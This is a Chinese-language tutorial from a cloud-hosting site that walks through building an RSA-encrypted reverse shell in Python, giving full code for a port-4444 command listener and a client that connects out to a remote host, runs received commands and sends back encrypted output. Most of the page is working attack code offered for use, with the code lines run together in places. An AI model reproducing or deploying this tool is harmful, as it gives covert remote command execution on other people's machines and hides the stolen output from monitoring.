您好,登錄后才能下訂單哦!
本篇內容主要講解“如何使用RSA加密在Python中逆向shell”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何使用RSA加密在Python中逆向shell”吧!
首先,我們需要一個偵聽器來處理所有傳入的連接。 這是listener_rsa.py的代碼
#!/usr/bin/pythonfrom Crypto.PublicKey import RSAfrom Crypto import Randomfrom Crypto.Hash import SHA256import socketfrom thread import *import sysimport pickle#Generate public key and private keyrandom_generator = Random.new().read key = RSA.generate(2048, random_generator) public_key = key.publickey()#Create socket and bind to accept connectionss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try: s.bind(("0.0.0.0", 4444))except socket.error, v: print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1] sys.exit()
print "Socket bind complete"s.listen(2)print "[+] Listening to the incoming connection on port 4444..."def clientthread_sendpublickey(client) : client.send(pickle.dumps(public_key))def clienthandle(client) : while True : command = raw_input('~$ ') client.send(command) if command == 'quit' : break buf = client.recv(2048) encreply = pickle.loads(buf) print key.decrypt(encreply)while True: (client, (ip, port)) = s.accept() print "Received connection from : ", ip start_new_thread(clientthread_sendpublickey, (client,)) print "Public Key sent to", ip start_new_thread(clienthandle, (client,))
我在Python中使用PyCrypto模塊進行加密。 繼續安裝它。 我建議使用pip來安裝模塊。
$ sudo pip install pycrypto
在我們進入代碼之前,讓我向你解釋一下RSA加密及其密鑰。 RSA是一種非對稱加密標準。 它有兩個鍵,公共和私有。 簡單來說,公鑰用于加密消息,私鑰用于解密。 下面是描述該過程的框圖
如果你對RSA的數學工作感興趣,那么我建議你閱讀http://mathworld.wolfram.com/RSAEncryption.html(當心,僅限極客)
在上面的程序中,首先生成密鑰,該密鑰也是私鑰。
key = RSA.generate(2048, random_generator)
函數RSA.generate有兩個參數,第一個是以位為單位的密鑰的大小,第二個是通常使用python隨機函數生成的隨機數。 在創建私鑰之后,從中提取公鑰并將其存儲在變量中以供將來使用。
public_key = key.publickey()
使用套接字模塊創建套接字,這相對簡單。 你可以參考Python套接字1的官方文檔,甚至可以進行簡單的Google搜索。
套接字綁定并等待連接傳入連接。
注 - 如果要將Linux中的套接字綁定到小于1024的端口,則必須以root身份執行該腳本。
當收到連接時,初始化新線程以將生成的公鑰發送到客戶端,以便它可以加密回復。
def clientthread_sendpublickey(client) :client.send(pickle.dumps(public_key))
我們為什么要用Pickle? Pickle用于序列化和反序列化python對象。 由于public_key不是常規字符串,因此必須對其進行pickle,然后將其發送到接收方。
警告 - pickle模塊不能防止錯誤或惡意構造的數據。 切勿取消從不受信任或未經身份驗證的來源收到的數據。
一旦發送了公鑰,另一個線程clienthandle(客戶端)被初始化為True:loop,它發送給接收者的命令。 接收器運行命令并使用公鑰加密輸出。 然后將輸出的pickle發送給監聽器。
回復是unpickled,使用私鑰解密并打印在屏幕上。
encreply = pickle.loads(buf)print key.decrypt(encreply)
如果給出'quit'命令,則終止連接。
讓我們轉到反向shell所在的接收器端。 reverse_shell_rsa的腳本如下所示
#!/usr/bin/pythonimport socket, subprocess, sys from Crypto.PublicKey import RSA from Crypto.Hash import SHA256import pickle
RHOST = sys.argv[1] RPORT = 4444s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT))def receive_key(): data_key = s.recv(1024) return data_key pickled_publickey = receive_key() public_key = pickle.loads(pickled_publickey)
while True : command = s.recv(1024) if command == 'quit' : break reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout, stderr = reply.communicate() en_reply = public_key.encrypt(stdout, 32) s.send(pickle.dumps(en_reply)) s.close()
一如既往,導入必要的模塊。 要連接的IP地址作為參數提供,并存儲在RHOST變量中。 創建套接字并與服務器(偵聽器)建立連接。 一旦接受連接,服務器就會發送公鑰(在listener.py腳本中向上滾動到clientthread_sendpublickey()),該公鑰通過函數receive_key()接收并去除(記住pickling?)以獲取公鑰。
def receive_key():data_key = s.recv(1024)return data_key pickled_publickey = receive_key() public_key = pickle.loads(pickled_publickey)
一段時間初始化True循環以保持連接的持久性并接收命令。 如果命令是“退出”,則節目結束。 否則,給定的命令作為子進程和標準輸出運行,標準錯誤通過管道傳遞給變量'reply'。 然后使用公鑰對標準輸出進行加密,pickling并發送到服務器。
en_reply = public_key.encrypt(stdout, 32) s.send(pickle.dumps(en_reply))
然后耐心等待,直到下一個命令。
到此,相信大家對“如何使用RSA加密在Python中逆向shell”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。